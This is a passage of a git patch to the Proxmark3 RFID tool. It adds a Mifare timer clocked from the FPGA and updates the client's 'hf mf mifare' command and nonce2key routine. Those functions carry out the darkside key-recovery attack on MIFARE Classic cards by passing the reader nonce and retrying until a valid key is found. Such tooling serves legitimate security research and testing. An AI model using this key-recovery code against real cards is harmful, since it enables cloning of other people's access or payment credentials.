AT91C_TC_CLKS_XC1; // from timer 0 - + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN; AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN; AT91C_BASE_TCB->TCB_BCR = 1; -} + } uint32_t RAMFUNC GetCountUS(){ return (AT91C_BASE_TC1->TC_CV * 0x8000) + ((AT91C_BASE_TC0->TC_CV / 15) * 10); @@ -314,3 +314,60 @@ uint32_t RAMFUNC GetDeltaCountUS(){ } +// ------------------------------------------------------------------------- +// Mifare timer. Uses ssp_clk from FPGA +// ------------------------------------------------------------------------- +void StartCountMifare() +{ + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1) | (1 << AT91C_ID_TC2); // Enable Clock to all timers + AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_TIOA1 // XC0 Clock = TIOA1 + | AT91C_TCB_TC1XC1S_NONE // XC1 Clock = none + | AT91C_TCB_TC2XC2S_TIOA0; // XC2 Clock = TIOA0 + + // configure TC1 to create a short pulse on TIOA1 when a rising edge on TIOB1 (= ssp_clk from FPGA) occurs: + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // disable TC1 + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK // TC1 Clock = MCK(48MHz)/2 = 24MHz + | AT91C_TC_CPCSTOP // Stop clock on RC compare + | AT91C_TC_EEVTEDG_RISING // Trigger on rising edge of Event + | AT91C_TC_EEVT_TIOB // Event-Source: TIOB1 (= ssc_clk from FPGA = 13,56MHz / 16) + | AT91C_TC_ENETRG // Enable external trigger event + | AT91C_TC_WAVESEL_UP // Upmode without automatic trigger on RC compare + | AT91C_TC_WAVE // Waveform Mode + | AT91C_TC_AEEVT_SET // Set TIOA1 on external event + | AT91C_TC_ACPC_CLEAR; // Clear TIOA1 on RC Compare + AT91C_BASE_TC1->TC_RC = 0x04; // RC Compare value = 0x04 + + // use TC0 to count TIOA1 pulses + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // disable TC0 + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_XC0 // TC0 clock = XC0 clock = TIOA1 + | AT91C_TC_WAVE // Waveform Mode + | AT91C_TC_WAVESEL_UP // just count + | AT91C_TC_ACPA_CLEAR // Clear TIOA0 on RA Compare + | AT91C_TC_ACPC_SET; // Set TIOA0 on RC Compare + AT91C_BASE_TC0->TC_RA = 1; // RA Compare value = 1; pulse width to TC2 + AT91C_BASE_TC0->TC_RC = 0; // RC Compare value = 0; increment TC2 on overflow + + // use TC2 to count TIOA0 pulses (giving us a 32bit counter (TC0/TC2) clocked by ssp_clk) + AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKDIS; // disable TC2 + AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_XC2 // TC2 clock = XC2 clock = TIOA0 + | AT91C_TC_WAVE // Waveform Mode + | AT91C_TC_WAVESEL_UP; // just count + + + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN; // enable TC0 + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN; // enable TC1 + AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN; // enable TC2 + AT91C_BASE_TCB->TCB_BCR = 1; // assert Sync (set all timers to 0 on next active clock edge) +} + + +uint32_t RAMFUNC GetCountMifare(){ + uint32_t tmp_count; + tmp_count = (AT91C_BASE_TC2->TC_CV << 16) | AT91C_BASE_TC0->TC_CV; + if ((tmp_count & 0xffff) == 0) { //small chance that we may have missed an increment in TC2 + return (AT91C_BASE_TC2->TC_CV << 16); + } + else { + return tmp_count; + } +} diff --git a/armsrc/util.h b/armsrc/util.h index 135468ae..9c4b4c58 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -47,4 +47,7 @@ void StartCountUS(); uint32_t RAMFUNC GetCountUS(); uint32_t RAMFUNC GetDeltaCountUS(); +void StartCountMifare(); +uint32_t RAMFUNC GetCountMifare(); + #endif diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index c98b25da..96eb8007 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -15,18 +15,20 @@ static int CmdHelp(const char *Cmd); int CmdHF14AMifare(const char *Cmd) { uint32_t uid = 0; - uint32_t nt = 0; + uint32_t nt = 0, nr = 0; uint64_t par_list = 0, ks_list = 0, r_key = 0; uint8_t isOK = 0; uint8_t keyBlock[8] = {0}; - if (param_getchar(Cmd, 0) && param_gethex(Cmd, 0, keyBlock, 8)) { - PrintAndLog("Nt must include 8 HEX symbols"); - return 1; - } + UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}}; + + // message + printf("-------------------------------------------------------------------------\n"); + printf("Executing command. Expected execution time: 25sec on average :-)\n"); + printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n"); + printf("-------------------------------------------------------------------------\n"); - UsbCommand c = {CMD_READER_MIFARE, {(uint32_t)bytes_to_num(keyBlock, 4), 0, 0}}; start: clearCommandBuffer(); SendCommand(&c); @@ -34,15 +36,10 @@ start: //flush queue while (ukbhit()) getchar(); - // message - printf("-------------------------------------------------------------------------\n"); - printf("Executing command. It may take up to 30 min.\n"); - printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n"); - printf("-------------------------------------------------------------------------\n"); // wait cycle while (true) { - //printf("."); + printf("."); fflush(stdout); if (ukbhit()) { getchar(); @@ -51,27 +48,26 @@ start: } UsbCommand resp; - if (WaitForResponseTimeout(CMD_ACK,&resp,2000)) { + if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) { isOK = resp.arg[0] & 0xff; - uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4); nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4); par_list = bytes_to_num(resp.d.asBytes + 8, 8); ks_list = bytes_to_num(resp.d.asBytes + 16, 8); - + nr = bytes_to_num(resp.d.asBytes + 24, 4); printf("\n\n"); - PrintAndLog("isOk:%02x", isOK); if (!isOK) PrintAndLog("Proxmark can't get statistic info. Execution aborted.\n"); break; } } + printf("\n"); // error if (isOK != 1) return 1; // execute original function from util nonce2key - if (nonce2key(uid, nt, par_list, ks_list, &r_key)) + if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key)) { isOK = 2; PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt); @@ -86,8 +82,9 @@ start: PrintAndLog("Found valid key:%012"llx, r_key); else { - if (isOK != 2) PrintAndLog("Found invalid key. ( Nt=%08x ,Trying use it to run again...", nt); - c.arg[0] = nt; + if (isOK != 2) PrintAndLog("Found invalid key. "); + PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce..."); + c.arg[0] = false; goto start; } diff --git a/client/nonce2key/nonce2key.c b/client/nonce2key/nonce2key.c index 7459f1bb..d2e50d5e 100644 --- a/client/nonce2key/nonce2key.c +++ b/client/nonce2key/nonce2key.c @@ -17,12 +17,12 @@ #include "nonce2key.h" #include "ui.h" -int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key) { +int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) { struct Crypto1State *state, *state_s; - uint32_t pos, nr, rr, nr_diff;//, ks1, ks2; + uint32_t pos, rr, nr_diff;//, ks1, ks2; byte_t bt, i, ks3x[8], par[8][8]; uint64_t key_recovered; - nr = rr = 0; + rr = 0; // Reset the last three significant bits of the reader nonce nr &= 0xffffff1f; diff --git a/client/nonce2key/nonce2key.h b/client/nonce2key/nonce2key.h index 8ae60504..e7d5f431 100644 --- a/client/nonce2key/nonce2key.h +++ b/client/nonce2key/nonce2key.h @@ -18,6 +18,6 @@ #include "crapto1.h" #include "common.h" -int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key); +int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key); #endif -- 2.39.5